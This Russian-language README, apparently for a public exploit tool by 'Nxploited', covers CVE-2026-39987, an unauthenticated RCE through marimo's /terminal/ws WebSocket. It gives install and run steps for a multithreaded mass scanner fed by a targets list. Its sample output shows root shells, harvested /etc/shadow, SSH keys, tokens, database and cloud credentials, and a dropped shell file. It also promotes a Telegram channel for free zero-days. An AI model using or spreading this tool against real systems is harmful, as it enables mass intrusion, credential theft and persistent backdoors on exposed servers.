
marimo — это реактивный Python-ноутбук. До версии 0.23.0 в Marimo существует уязвимость Pre-Auth RCE (удалённое выполнение кода без аутентификации).
marimo — это реактивный Python-ноутбук. До версии 0.23.0 в Marimo присутствует уязвимость Pre-Auth RCE
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — Pre-Auth RCE через неаутентифицированный WebSocket
Автор: Nxploited · Telegram: @KNxploited
📢 Присоединяйтесь к Telegram-каналу за свежими бесплатными zero-day и эксплойтами:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 — это критическая уязвимость удалённого выполнения кода без аутентификации (Pre-Authentication Remote Code Execution), затрагивающая Marimo — открытую платформу реактивных Python-ноутбуков.
Конечная точка терминального WebSocket /terminal/ws полностью лишена проверки аутентификации, что позволяет любому неаутентифицированному удалённому злоумышленнику получить полноценную PTY-оболочку и выполнять произвольные системные команды с правами запущенного процесса — часто root в контейнерных развёртываниях.
В отличие от других конечных точек WebSocket, таких как /ws, которые корректно вызывают validate_auth() перед принятием соединений, конечная точка /terminal/ws проверяет только режим работы и совместимость платформы, полностью пропуская аутентификацию.
✅ Исправлено в:
marimo >= 0.23.0❌ Все версии до0.23.0уязвимы
| Свойство | Значение |
|---|---|
| ID CVE | CVE-2026-39987 |
| Затронутое ПО | marimo < 0.23.0 |
| Класс уязвимости | Pre-Auth RCE через неаутентифицированный WebSocket |
| Затронутая конечная точка | /terminal/ws |
| Вектор атаки | Сеть |
| Требуется аутентификация | ❌ Нет |
| Взаимодействие с пользователем | ❌ Нет |
| Серьёзность | 🔴 Критическая |
| Воздействие | Полная PTY-оболочка · Выполнение произвольных команд |
| Исправленная версия | marimo 0.23.0 |
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
Обработчик /terminal/ws проверяет только:
Он никогда не проверяет токены сессий, cookie или любую форму идентификации — превращая каждый открытый экземпляр Marimo в прямую оболочку.
.py-ноутбуки Marimo.env · wp-config.php · SSH-приватные ключи · /etc/shadowPython 3.10 or higher
Установите зависимости:
pip install websockets rich requests urllib3
Или с помощью файла requirements:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Создайте файл с именем targets.txt, указывая одну цель на строку.
Инструмент принимает все форматы:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Поддерживаемые форматы: чистый IP · IP:порт · домен · домен:порт ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Диапазон потоков: 1–300. Рекомендуется: 50–150 в зависимости от вашей сети.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s